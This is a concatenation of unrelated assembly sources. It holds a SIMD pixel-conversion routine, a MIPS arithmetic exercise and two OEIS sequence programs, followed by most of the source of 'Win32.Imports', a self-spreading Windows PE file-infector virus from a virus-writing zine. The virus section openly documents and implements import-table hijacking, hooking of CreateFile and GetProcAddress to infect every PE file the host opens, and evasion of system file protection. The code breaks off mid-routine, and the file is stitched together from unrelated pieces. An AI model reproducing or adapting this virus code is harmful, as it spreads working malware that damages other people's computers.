xmmB,2 ; xmmB=(13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F -- --) movdqa xmmF,xmmE punpcklwd xmmE,xmmB ; xmmE=(22 03 13 23 24 05 15 25 26 07 17 27 28 09 19 29) punpckhwd xmmF,xmmB ; xmmF=(2A 0B 1B 2B 2C 0D 1D 2D 2E 0F 1F 2F -- -- -- --) pshufd xmmH,xmmA,0x4E; xmmH=(04 14 24 05 06 16 26 07 00 10 20 01 02 12 22 03) movdqa xmmB,xmmE punpckldq xmmA,xmmD ; xmmA=(00 10 20 01 11 21 02 12 02 12 22 03 13 23 04 14) punpckldq xmmE,xmmH ; xmmE=(22 03 13 23 04 14 24 05 24 05 15 25 06 16 26 07) punpckhdq xmmD,xmmB ; xmmD=(15 25 06 16 26 07 17 27 17 27 08 18 28 09 19 29) pshufd xmmH,xmmG,0x4E; xmmH=(0C 1C 2C 0D 0E 1E 2E 0F 08 18 28 09 0A 1A 2A 0B) movdqa xmmB,xmmF punpckldq xmmG,xmmC ; xmmG=(08 18 28 09 19 29 0A 1A 0A 1A 2A 0B 1B 2B 0C 1C) punpckldq xmmF,xmmH ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 2C 0D 1D 2D 0E 1E 2E 0F) punpckhdq xmmC,xmmB ; xmmC=(1D 2D 0E 1E 2E 0F 1F 2F 1F 2F -- -- -- -- -- --) punpcklqdq xmmA,xmmE ; xmmA=(00 10 20 01 11 21 02 12 22 03 13 23 04 14 24 05) punpcklqdq xmmD,xmmG ; xmmD=(15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A) punpcklqdq xmmF,xmmC ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 1D 2D 0E 1E 2E 0F 1F 2F) cmp rcx, byte SIZEOF_XMMWORD jb short .column_st32 test rdi, SIZEOF_XMMWORD-1 jnz short .out1 ; --(aligned)------------------- movntdq XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA movntdq XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD movntdq XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmF add rdi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr jmp short .out0 .out1: ; --(unaligned)----------------- pcmpeqb xmmH,xmmH ; xmmH=(all 1's) maskmovdqu xmmA,xmmH ; movntdqu XMMWORD [rdi], xmmA add rdi, byte SIZEOF_XMMWORD ; outptr maskmovdqu xmmD,xmmH ; movntdqu XMMWORD [rdi], xmmD add rdi, byte SIZEOF_XMMWORD ; outptr maskmovdqu xmmF,xmmH ; movntdqu XMMWORD [rdi], xmmF add rdi, byte SIZEOF_XMMWORD ; outptr .out0: sub rcx, byte SIZEOF_XMMWORD jz near .nextrow add rsi, byte SIZEOF_XMMWORD ; inptr0 add rbx, byte SIZEOF_XMMWORD ; inptr1 add rdx, byte SIZEOF_XMMWORD ; inptr2 jmp near .columnloop .column_st32: pcmpeqb xmmH,xmmH ; xmmH=(all 1's) lea rcx, [rcx+rcx*2] ; imul ecx, RGB_PIXELSIZE cmp rcx, byte 2*SIZEOF_XMMWORD jb short .column_st16 maskmovdqu xmmA,xmmH ; movntdqu XMMWORD [rdi], xmmA add rdi, byte SIZEOF_XMMWORD ; outptr maskmovdqu xmmD,xmmH ; movntdqu XMMWORD [rdi], xmmD add rdi, byte SIZEOF_XMMWORD ; outptr movdqa xmmA,xmmF sub rcx, byte 2*SIZEOF_XMMWORD jmp short .column_st15 .column_st16: cmp rcx, byte SIZEOF_XMMWORD jb short .column_st15 maskmovdqu xmmA,xmmH ; movntdqu XMMWORD [rdi], xmmA add rdi, byte SIZEOF_XMMWORD ; outptr movdqa xmmA,xmmD sub rcx, byte SIZEOF_XMMWORD .column_st15: mov rax,rcx xor rcx, byte 0x0F shl rcx, 2 movd xmmB,ecx psrlq xmmH,4 pcmpeqb xmmE,xmmE psrlq xmmH,xmmB psrlq xmmE,xmmB punpcklbw xmmE,xmmH ; ---------------- mov rcx,rdi and rcx, byte SIZEOF_XMMWORD-1 jz short .adj0 add rax,rcx cmp rax, byte SIZEOF_XMMWORD ja short .adj0 and rdi, byte (-SIZEOF_XMMWORD) ; align to 16-byte boundary shl rcx, 3 ; pslldq xmmA,ecx & pslldq xmmE,rcx movdqa xmmG,xmmA movdqa xmmC,xmmE pslldq xmmA, SIZEOF_XMMWORD/2 pslldq xmmE, SIZEOF_XMMWORD/2 movd xmmD,ecx sub rcx, byte (SIZEOF_XMMWORD/2)*BYTE_BIT jb short .adj1 movd xmmF,ecx psllq xmmA,xmmF psllq xmmE,xmmF jmp short .adj0 .adj1: neg ecx movd xmmF,ecx psrlq xmmA,xmmF psrlq xmmE,xmmF psllq xmmG,xmmD psllq xmmC,xmmD por xmmA,xmmG por xmmE,xmmC .adj0: ; ---------------- maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [rdi], xmmA %else ; RGB_PIXELSIZE == 4 ; ----------- %ifdef RGBX_FILLER_0XFF pcmpeqb xmm6,xmm6 ; xmm6=XE=X(02468ACE********) pcmpeqb xmm7,xmm7 ; xmm7=XO=X(13579BDF********) %else pxor xmm6,xmm6 ; xmm6=XE=X(02468ACE********) pxor xmm7,xmm7 ; xmm7=XO=X(13579BDF********) %endif ; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **) ; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **) ; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **) ; xmmG=(30 32 34 36 38 3A 3C 3E **), xmmH=(31 33 35 37 39 3B 3D 3F **) punpcklbw xmmA,xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E) punpcklbw xmmE,xmmG ; xmmE=(20 30 22 32 24 34 26 36 28 38 2A 3A 2C 3C 2E 3E) punpcklbw xmmB,xmmD ; xmmB=(01 11 03 13 05 15 07 17 09 19 0B 1B 0D 1D 0F 1F) punpcklbw xmmF,xmmH ; xmmF=(21 31 23 33 25 35 27 37 29 39 2B 3B 2D 3D 2F 3F) movdqa xmmC,xmmA punpcklwd xmmA,xmmE ; xmmA=(00 10 20 30 02 12 22 32 04 14 24 34 06 16 26 36) punpckhwd xmmC,xmmE ; xmmC=(08 18 28 38 0A 1A 2A 3A 0C 1C 2C 3C 0E 1E 2E 3E) movdqa xmmG,xmmB punpcklwd xmmB,xmmF ; xmmB=(01 11 21 31 03 13 23 33 05 15 25 35 07 17 27 37) punpckhwd xmmG,xmmF ; xmmG=(09 19 29 39 0B 1B 2B 3B 0D 1D 2D 3D 0F 1F 2F 3F) movdqa xmmD,xmmA punpckldq xmmA,xmmB ; xmmA=(00 10 20 30 01 11 21 31 02 12 22 32 03 13 23 33) punpckhdq xmmD,xmmB ; xmmD=(04 14 24 34 05 15 25 35 06 16 26 36 07 17 27 37) movdqa xmmH,xmmC punpckldq xmmC,xmmG ; xmmC=(08 18 28 38 09 19 29 39 0A 1A 2A 3A 0B 1B 2B 3B) punpckhdq xmmH,xmmG ; xmmH=(0C 1C 2C 3C 0D 1D 2D 3D 0E 1E 2E 3E 0F 1F 2F 3F) cmp rcx, byte SIZEOF_XMMWORD jb short .column_st32 test rdi, SIZEOF_XMMWORD-1 jnz short .out1 ; --(aligned)------------------- movntdq XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA movntdq XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD movntdq XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmC movntdq XMMWORD [rdi+3*SIZEOF_XMMWORD], xmmH add rdi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr jmp short .out0 .out1: ; --(unaligned)----------------- pcmpeqb xmmE,xmmE ; xmmE=(all 1's) maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [rdi], xmmA add rdi, byte SIZEOF_XMMWORD ; outptr maskmovdqu xmmD,xmmE ; movntdqu XMMWORD [rdi], xmmD add rdi, byte SIZEOF_XMMWORD ; outptr maskmovdqu xmmC,xmmE ; movntdqu XMMWORD [rdi], xmmC add rdi, byte SIZEOF_XMMWORD ; outptr maskmovdqu xmmH,xmmE ; movntdqu XMMWORD [rdi], xmmH add rdi, byte SIZEOF_XMMWORD ; outptr .out0: sub rcx, byte SIZEOF_XMMWORD jz near .nextrow add rsi, byte SIZEOF_XMMWORD ; inptr0 add rbx, byte SIZEOF_XMMWORD ; inptr1 add rdx, byte SIZEOF_XMMWORD ; inptr2 jmp near .columnloop .column_st32: pcmpeqb xmmE,xmmE ; xmmE=(all 1's) cmp rcx, byte SIZEOF_XMMWORD/2 jb short .column_st16 maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [rdi], xmmA add rdi, byte SIZEOF_XMMWORD ; outptr maskmovdqu xmmD,xmmE ; movntdqu XMMWORD [rdi], xmmD add rdi, byte SIZEOF_XMMWORD ; outptr movdqa xmmA,xmmC movdqa xmmD,xmmH sub rcx, byte SIZEOF_XMMWORD/2 .column_st16: cmp rcx, byte SIZEOF_XMMWORD/4 jb short .column_st15 maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [rdi], xmmA add rdi, byte SIZEOF_XMMWORD ; outptr movdqa xmmA,xmmD sub rcx, byte SIZEOF_XMMWORD/4 .column_st15: cmp rcx, byte SIZEOF_XMMWORD/16 jb near .nextrow mov rax,rcx xor rcx, byte 0x03 inc rcx shl rcx, 4 movd xmmF,ecx psrlq xmmE,xmmF punpcklbw xmmE,xmmE ; ---------------- mov rcx,rdi and rcx, byte SIZEOF_XMMWORD-1 jz short .adj0 lea rax, [rcx+rax*4] ; RGB_PIXELSIZE cmp rax, byte SIZEOF_XMMWORD ja short .adj0 and rdi, byte (-SIZEOF_XMMWORD) ; align to 16-byte boundary shl rcx, 3 ; pslldq xmmA,ecx & pslldq xmmE,ecx movdqa xmmB,xmmA movdqa xmmG,xmmE pslldq xmmA, SIZEOF_XMMWORD/2 pslldq xmmE, SIZEOF_XMMWORD/2 movd xmmC,ecx sub rcx, byte (SIZEOF_XMMWORD/2)*BYTE_BIT jb short .adj1 movd xmmH,ecx psllq xmmA,xmmH psllq xmmE,xmmH jmp short .adj0 .adj1: neg rcx movd xmmH,ecx psrlq xmmA,xmmH psrlq xmmE,xmmH psllq xmmB,xmmC psllq xmmG,xmmC por xmmA,xmmB por xmmE,xmmG .adj0: ; ---------------- maskmovdqu xmmA,xmmE ; movntdqu XMMWORD [rdi], xmmA %endif ; RGB_PIXELSIZE ; --------------- .nextrow: pop rcx pop rsi pop rbx pop rdx pop rdi pop rax add rsi, byte SIZEOF_JSAMPROW add rbx, byte SIZEOF_JSAMPROW add rdx, byte SIZEOF_JSAMPROW add rdi, byte SIZEOF_JSAMPROW ; output_buf dec rax ; num_rows jg near .rowloop sfence ; flush the write buffer .return: pop rbx uncollect_args mov rsp,rbp ; rsp <- aligned rbp pop rsp ; rsp <- original rbp pop rbp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 16
#simple add and sub using a template from notebook # a=b+c+d # e=f-a #fileName:simpleAdd .data .text main: li $s1,7 #c li $s2,3 #d li $s3,1 #b li $s5,5 #f add $t0, $s1, $s2 add $s0, $t0, $s3 sub $s4, $s5, $s0 #exit the program li $v0,10 syscall
; A140404: a(n) = binomial(n+5, 5)*7^n. ; 1,42,1029,19208,302526,4235364,54353838,652246056,7419298887,80787921214,848273172747,8636963213424,85649885199788,830145041167176,7886377891088172,73606193650156272,676256904160810749,6126091955339109138,54794489156088698401,484498640959100070072,4239363108392125613130,36741146939398421980460,315639853252104625195770,2689800488583152458190040,22751229132599164542190755,191110324713832982154402342,1595036171650067581827127239,13232892683319079197380611168,109171364637382403378390042136 mov $1,7 pow $1,$0 mov $2,$0 add $2,5 bin $2,$0 mul $1,$2 mov $0,$1
; A152223: a(n) = -4*a(n-1) + 6*a(n-2) for n > 1 with a(0) = 1 and a(1) = -6. ; 1,-6,30,-156,804,-4152,21432,-110640,571152,-2948448,15220704,-78573504,405618240,-2093913984,10809365376,-55800945408,288059973888,-1487045568000,7676542115328,-39628441869312,204573020169216,-1056062731892736,5451689048586240,-28143132585701376,145282664634322944,-749989454051500032,3871653804011937792,-19986551940356751360,103176130585498632192,-532623833984135036928,2749552119449531940864,-14193951481702937985024,73273118643508943585280,-378256183464253402251264,1952663445718067270516736 add $0,2 mov $2,3 mov $3,2 lpb $0 sub $0,1 add $2,$1 sub $3,1 mul $4,3 add $4,$3 mov $1,$4 sub $2,$4 mul $2,2 mov $3,6 mov $4,$2 lpe sub $1,17 div $1,12 add $1,1 mov $0,$1
COMMENT ` ---------------------------------------------------------------- )=- -=( Natural Selection Issue #1 ----------------------------- Win32.Imports )=- -=( ---------------------------------------------------------------------- )=- -=( 0 : Win32.Imports Features ------------------------------------------- )=- Imports: Locates LoadLibraryA and GetProcAddress, if they don't exist then it will find two strings long enough, then copies them to the virus and overwrites the entries in the Import Table with our own. Infects: PE files with any extension, without setting write bit Strategy: Per-Process residency, it will infect any files opened using CreateFileA/CreateFileW by the host. We've also hooked GetProcAddress to hide ourself. Compatibility: 95/98/ME/NT/2000 Compatible, avoids Win2K SFC'd files Saves Stamps: Yes MultiThreaded: No Polymorphism: None AntiAV / EPO: None SEH Abilities: None Payload: None -=( 1 : Win32.Imports Design Goals --------------------------------------- )=- : To test an implementation of MASMs type checking on API and PROC calls. : To place all virus data into one structure that can be moved around in memory so that the virus is outside of the hosts normal memory area. : To be per process and hook file API to locate infectable files. : To overwrite strings in the Import Table to import needed API and then overwrite with the original API values. Doesn't need files to import a GetProcAddress / LoadLibraryA to infect them properly. But still, does not do manual Kernel32.DLL scanning. It took 2 - 3 weeks of coding time, and 2/3 of that was in rewriting the Import Table code over and over again to make it work. By the time that it all worked, it was easy to pick a name, Win32.Imports. -=( 2 : Win32.Imports Design Faults -------------------------------------- )=- Its structure is horrible. When it was finished, I realised you could use VirtualProtect API to make section data writeable, and so all of the code based around moving the virus in memory is a waste of time. It does, however, infect PE Headers perfectly in all PE files, and doesn't even need to check for .EXE extensions, so it should infect .CPL and other PE files as well. Rather than spend time rewriting it to be more streamlined, it's better to design a new virus from the ground up that does what you want. -=( 3 : Win32.Imports Disclaimer ----------------------------------------- )=- THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM, YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY. COPYRIGHT Copyright on materials in this magazine and the information therein and their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated. RIGHTS AND LIMITATIONS You have the right to use, copy and distribute the material in this magazine free of charge, for all purposes allowed by your governing laws. You are expressly PROHIBITED from using the material contained herein for any purposes that would cause or would help promote the illegal use of the material. NO WARRANTY The information contained within this magazine are provided "as is". FEATHERED SERPENTS do not warranty the accuracy, adequacy, or completeness of given information, and expressly disclaims liability for errors or omissions contained therein. No implied, express, or statutory warranty, is given in conjunction with this magazine. LIMITATION OF LIABILITY In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any damages including and without limitation, direct or indirect, special, incidental, or consequential damages, losses, or expenses arising in connection with this magazine, or the use thereof. ADDITIONAL DISCLAIMER Computer viruses will spread of their own accord between computer systems, and across international boundaries. They are raw animals with no concern for the law, and for that reason your possession of them makes YOU responsible for the actions they carry out. The viruses provided in this magazine are for educational purposes ONLY. They are NOT intended for use in ANY WAY outside of strict, controlled laboratory conditions. If compiled and executed these viruses WILL land you in court(s). You will be held responsible for your actions. As source code these viruses are inert and covered by implied freedom of speech laws in some countries. In binary form these viruses are malicious weapons. FEATHERED SERPENTS do not condone the application of these viruses and will NOT be held LIABLE for any MISUSE. -=( 4 : Win32.Imports Compile Instructions ------------------------------- )=- MASM 6.15 and LINK 6.00.8447 ml /c /Cp /coff /Fl /Zi Imports.asm link /debug /debugtype:cv /subsystem:windows Imports.obj -=( 5 : Win32.Imports ---------------------------------------------------- ) ` .386p ; 386 opcodes .model flat,stdcall ; Written for flat Win32 option casemap:none ; Use mixed case symbols include masmwinc.inc ; Win32 constant symbols includelib c:\masm32\lib\kernel32.lib ; First-run imported API CreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD CloseHandle PROTO :DWORD ExitProcess PROTO :DWORD LoadLibraryA PROTO :DWORD GetProcAddress PROTO :DWORD, :DWORD VirtualAlloc PROTO :DWORD, :DWORD, :DWORD, :DWORD ; We'll drop ourselves into a file that can do CreateFileA/CreateFileW easily Host SEGMENT 'CODE' HostFile DW 'C', 'M', 'D', '.', 'E', 'X', 'E', 0 Exitpoint PROC INVOKE CreateFileW, ADDR HostFile, GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 .IF (eax != INVALID_HANDLE_VALUE) INVOKE CloseHandle, eax .ENDIF INVOKE ExitProcess, NULL ; These are not called, only imported for the virus, and yes they like to ; crash when given bad values ;) call LoadLibraryA call GetProcAddress call VirtualAlloc Exitpoint ENDP Host ENDS ; ============================================================================= ; ( Procedure Layout ) ======================================================== ; ============================================================================= ; Also, INVOKE needs PROTOs to reference PROCs that are at the end of the file. Exitpoint PROTO Entrypoint PROTO LoadsFile PROTO :PTR VX,:DWORD CheckFile PROTO :PTR VX,:DWORD WriteFile PROTO :PTR VX,:DWORD SetupImports PROTO :PTR VX,:DWORD, :DWORD ConvertAlign PROTO :DWORD, :DWORD ConvertToRaw PROTO :DWORD, :DWORD AlternateSfcIsFileProtected PROTO :DWORD, :DWORD AlternateCheckSumMappedFile PROTO :DWORD, :DWORD, :DWORD, :DWORD HookGetProcAddress PROTO :DWORD, :DWORD HookCreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD HookCreateFileA PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD ; ============================================================================= ; ( Constants ) =============================================================== ; ============================================================================= ; We avoid files with bad attributes. Buffer_Size is for storing strings we've ; overwritten in the Import Table, Hooks Count is how many API we have in our ; Hooking Table. P_'s are RVA Pointers to locations inside our 1st Gen Host. AVOIDED_FILES EQU FILE_ATTRIBUTE_DEVICE OR FILE_ATTRIBUTE_SPARSE_FILE OR \ FILE_ATTRIBUTE_REPARSE_POINT OR FILE_ATTRIBUTE_OFFLINE OR \ FILE_ATTRIBUTE_COMPRESSED OR FILE_ATTRIBUTE_ENCRYPTED BUFFER_SIZE EQU 20H HOOKS_COUNT EQU 3 P_HOSTS EQU 3000H + (Exitpoint - HostFile) P_VIRUS EQU 5000H P_LOADLIBRARYA EQU 8078H P_GETPROCADDRESS EQU 807CH P_CREATEFILEW EQU 8084H ; ============================================================================ ; ( Virus Macros ) =========================================================== ; ============================================================================ ; DESCRIBE splits long API strings from me into useable units of information :P ; tAPI TypeDef for this API for Parameter Checking ; mAPI Preconstructed MACRO for API, limited only to a few built ones ; bAPI [OPTIONAL] Buffer for stolen API Strings ; lAPI [OPTIONAL] Length of sAPI, ONLY useable on GetProc/LoadLibraryA ; pAPI Final API VA, or API RVA for GetProc/LoadLibraryA at Entrypoint ; sAPI API String ; DO_API is a wrapper for INVOKE that stops registers except EAX from changing. ; LOCATE is a small clean way to get Delta Offset into EDX DESCRIBE MACRO NAME:REQ, COUNT:REQ, VALUE:=<0>, PARAMETERS, STACK, FINISH LOCAL T_LIST, S_SIZE T_LIST TEXTEQU <TYPEDEF PROTO> REPEAT (COUNT - 1) T_LIST CATSTR T_LIST, < :DWORD, > ENDM t&NAME &T_LIST :DWORD m&NAME MACRO PARAMETERS DO_API t&NAME PTR [edx][VX.p&NAME], STACK &FINISH ENDM S_SIZE SIZESTR <&NAME> IF &VALUE b&NAME DB '&NAME' DB (BUFFER_SIZE - S_SIZE) DUP (0) l&NAME DD S_SIZE + 2 ENDIF p&NAME DD &VALUE s&NAME DB '&NAME', 0 ALIGN 2 ENDM DO_API MACRO PARAMETERS:VARARG PUSHAD INVOKE &PARAMETERS MOV [ESP+1CH], EAX POPAD ENDM LOCATE MACRO CALL @F @@: POP EDX SUB EDX, (($ - 1) - Virus_Data) ENDM ; ============================================================================ ; ( Main Data Structure ) ==================================================== ; ============================================================================ ; VX is used for all of the main data, and LVX a small version just for loadup. VX STRUCT DWORD ; RVA of VX Structure inside Host, and RVA of Host's Original Entrypoint SectionEntrypoint DD P_VIRUS HostEntrypoint DD P_HOSTS FileAttributes DD 0 FileCreationTime FILETIME {} FileLastAccessTime FILETIME {} FileLastWriteTime FILETIME {} FileSize DD 0 ; RVA of Kernel32.DLL Import Table so we can clear Binding in WriteFile. BoundImport DD 0 ; RVA of the Section we will end up in, and its Size. ThunkArrayRVA is ; used in SetupImports to track the FirstThunk entry of API in a loop. LastSection DD 0 SizeSection DD 0 ThunkArrayRVA DD 0 ; Our base API Data Table. Imagine if I didn't have MACRO and had to split ; this across more than one line each! ; Name, Count, Value, Macro Setup, Macro Parameters, Macro Finish DESCRIBE CheckSumMappedFile, 4 DESCRIBE CloseHandle, 1 DESCRIBE CompareStringA, 6, , <STRING1, STRING2>, <LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, STRING1, -1, STRING2, -1>, <cmp eax, 2> DESCRIBE CreateFileA, 7, , <NAME>, <NAME, GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 > DESCRIBE CreateFileW, 7 DESCRIBE CreateFileMappingA, 6, , <HANDLE, FILESIZE>, <HANDLE, 0, PAGE_READWRITE, 0, FILESIZE, 0> DESCRIBE ExitProcess, 1 DESCRIBE GetFileSize, 2 DESCRIBE GetFileTime, 4 DESCRIBE GetFileType, 1 DESCRIBE GetFileAttributesA, 1 DESCRIBE GetProcAddress, 2, P_GETPROCADDRESS DESCRIBE LoadLibraryA, 1, P_LOADLIBRARYA DESCRIBE MapViewOfFile, 5, , <HANDLE>, <HANDLE, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL> DESCRIBE SetFileAttributesA, 2 DESCRIBE SetFileTime, 4 DESCRIBE SfcIsFileProtected, 2 DESCRIBE UnmapViewOfFile, 1 DESCRIBE WideCharToMultiByte, 8 DESCRIBE VirtualAlloc, 4 DESCRIBE VirtualProtect, 4 UsedKernel DB 'KERNEL32.DLL', 0 UsedImage DB 'IMAGEHLP.DLL', 0 UsedSFC DB 'SFC.DLL', 0 ; Our Table of API we need to import. ExitProcess and VirtualAlloc are now ; excluded, as they're not used past Entrypoint which uses them directly. ; Pointer to our Pointer, Pointer to DLL, Pointer to Alternate Routine UsedAPI DD VX.pCheckSumMappedFile, VX.UsedImage, AlternateCheckSumMappedFile - Virus_Data DD VX.pCloseHandle, VX.UsedKernel, NULL DD VX.pCompareStringA, VX.UsedKernel, NULL DD VX.pCreateFileA, VX.UsedKernel, NULL DD VX.pCreateFileW, VX.UsedKernel, NULL DD VX.pCreateFileMappingA, VX.UsedKernel, NULL ;D VX.pExitProcess, VX.UsedKernel, NULL DD VX.pGetFileAttributesA, VX.UsedKernel, NULL DD VX.pGetFileSize, VX.UsedKernel, NULL DD VX.pGetFileTime, VX.UsedKernel, NULL DD VX.pGetFileType, VX.UsedKernel, NULL DD VX.pGetProcAddress, VX.UsedKernel, NULL DD VX.pLoadLibraryA, VX.UsedKernel, NULL DD VX.pMapViewOfFile, VX.UsedKernel, NULL DD VX.pSetFileAttributesA, VX.UsedKernel, NULL DD VX.pSetFileTime, VX.UsedKernel, NULL DD VX.pSfcIsFileProtected, VX.UsedSFC, AlternateSfcIsFileProtected - Virus_Data DD VX.pUnmapViewOfFile, VX.UsedKernel, NULL ;D VX.pVirtualAlloc, VX.UsedKernel, NULL ;D VX.pVirtualProtect, VX.UsedKernel, NULL DD VX.pWideCharToMultiByte, VX.UsedKernel, NULL DD NULL ; Our Table of API we want to hook, and corresponding routines in our code. ; RVA into Import Table, Replacement Address, Pointer to our Pointer HookAPI DD NULL, HookCreateFileA - Virus_Data, VX.pCreateFileA DD P_CREATEFILEW, HookCreateFileW - Virus_Data, VX.pCreateFileW DD P_GETPROCADDRESS, HookGetProcAddress - Virus_Data, VX.pGetProcAddress ; Not really necessary, but don't want to take it out and forget later why ; everything crashes if I ever wanted to push a structure onto a stack :P DB 0, 'Win32.Imports', 0 ALIGN 4 VX ENDS LVX STRUCT DWORD ImageBase DD 0 KernelHandle DD 0 pExitProcess DD 0 pLoadLibraryA DD 0 pGetProcAddress DD 0 pVirtualProtect DD 0 ProtectedArea DD 0 OldProtection DD 0 LVX ENDS ; ============================================================================= ; ( Entrypoint and Setup ) ==================================================== ; ============================================================================= Virus SEGMENT 'CODE' Virus_Data VX {} WinMain: ; Save a NULL on the stack which we will turn into a VA and RET to later push NULL Entrypoint PROC LOCAL VD:LVX ; Save the registers, so programs don't crash! Calculate our ImageBase. ; EDX = Start Virus, EAX = Start Image. pushad pushfd LOCATE mov eax, edx sub eax, [edx][VX.SectionEntrypoint] ; Save VAs of GetProcAddress/LoadLibraryA Pointers, then steal the VA of ; the API themselves. ; ESI = GetProcAddress API, EDI = LoadLibraryA API mov esi, [edx][VX.pGetProcAddress] lea ebx, [eax][esi ] push ebx mov esi, [ebx ] mov edi, [edx][VX.pLoadLibraryA ] lea ebx, [eax][edi ] push ebx mov edi, [ebx ] ; Save values into our stack structure, and overwrite the NULL we stored ; on the stack at Entrypoint, with the the return VA of the Host. mov [VD.pGetProcAddress], esi mov [VD.pLoadLibraryA], edi mov [VD.ImageBase], eax add eax, [edx][VX.HostEntrypoint] mov [ebp][4], eax ; Save handle of Kernel32.DLL, plus ExitProcess and VirtualProtect VA's. DO_API tLoadLibraryA PTR edi, ADDR [edx][VX.UsedKernel] mov [VD.KernelHandle], eax DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sExitProcess] mov [VD.pExitProcess], eax DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sVirtualProtect] mov [VD.pVirtualProtect], eax ; Make the Import Table writeable, then calculate stolen API and fix up. pop edi mov [VD.ProtectedArea], edi DO_API tVirtualProtect PTR [VD.pVirtualProtect], edi, 4, PAGE_EXECUTE_READWRITE, ADDR [VD.OldProtection] DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.bLoadLibraryA] test eax, eax jz WinFail stosd pop edi DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.bGetProcAddress] test eax, eax jz WinFail stosd ; Move the virus into memory, and return to the Host if none is available. mov ecx, Virus_Size DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sVirtualAlloc] DO_API tVirtualAlloc PTR eax, NULL, ecx, MEM_COMMIT OR MEM_RESERVE, PAGE_EXECUTE_READWRITE .IF (eax == NULL) jmp WinExit .ELSE lea esi, [edx] lea edi, [eax] shr ecx, 2 cld rep movsd lea edx, [eax] .ENDIF ; Now that we can start writing to our data section, it's time to parse ; our UsedAPI list. RVAs are relative to VX. ; Format: RVA of our storage and ASCIIZ -- Or NULL [End of Table] ; RVA to DLL Name for this Import ; RVA of Alternate Internal API lea esi, [edx][VX.UsedAPI] .WHILE TRUE ; Abort if this entry marks the end of the table. Otherwise get it ; ready to write the final API address to. Load the next value as ; it's the RVA of the DLL Name. lodsd .BREAK .IF (eax == NULL) lea edi, [edx][eax] lea ebx, [edx][eax][4] lodsd ; Get the API's address DO_API tLoadLibraryA PTR [VD.pLoadLibraryA], ADDR [edx][eax] DO_API tGetProcAddress PTR [VD.pGetProcAddress], eax, ebx ; Overwrite our Internal Entry with the API and load the Alternate ; API RVA just in case. If the API wasn't found and there is no ; Alternate Entry, then we abort immediately. Otherwise convert ; it to a VA and save it as the Internal Entry instead. stosd or eax, eax lodsd .IF (ZERO?) .IF (eax == NULL) jmp WinFail .ENDIF lea eax, [edx][eax] mov [edi][-4], eax .ENDIF .ENDW ; Our last stage of setup is to hook all of the hookable API that the ; host uses ; Format: RVA of Import Address to Overwrite ; RVA relative to VX of our Hook API ; RVA of VX.pName lea esi, [edx][VX.HookAPI] mov ecx, HOOKS_COUNT .REPEAT ; First entry is RVA of Import Address Table Entry. Second entry ; is the RVA of our Hook Procedure. Third entry is only used in ; setting up the HookAPI. lodsd .IF (eax == NULL) lodsd .ELSE add eax, [VD.ImageBase] mov edi, eax lodsd lea eax, [edx][eax] stosd .ENDIF lodsd .UNTILCXZ WinExit: ; Restore section attributes. mov edi, [VD.ProtectedArea] DO_API tVirtualProtect PTR [VD.pVirtualProtect], edi, 4, [VD.OldProtection], ADDR [VD.OldProtection] ; Everything is AOK, we'll leave the virus and return to the Host, but ; we've already hooked it's API and will be called into action soon :) popfd popad ret WinFail: ; Something went terribly wrong and the Host is probably a trap, so we ; exit as quickly as possible and don't let it execute. INVOKE tExitProcess PTR [VD.pExitProcess], -1 Entrypoint ENDP ; ============================================================================= ; ( Control Center ) ========================================================== ; ============================================================================= LoadsFile PROC VD:PTR VX, FILENAME:DWORD ; Make sure the files are not protected under Win2K File Protection :| mov edx, [VD] mov esi, [FILENAME] DO_API tSfcIsFileProtected PTR [edx][VX.pSfcIsFileProtected], NULL, esi test eax, eax jnz LoadsExit ; Avoid files with certain attributes, and if they are read only or if ; they are system, zero these attributes temporarily. We only change ; attributes if absolutely necessary, less logs, and heuristics, okay? DO_API tGetFileAttributesA PTR [edx][VX.pGetFileAttributesA], esi cmp eax, INVALID_HANDLE_VALUE je LoadsExit mov [edx][VX.FileAttributes], eax test eax, AVOIDED_FILES jnz LoadsExit test eax, 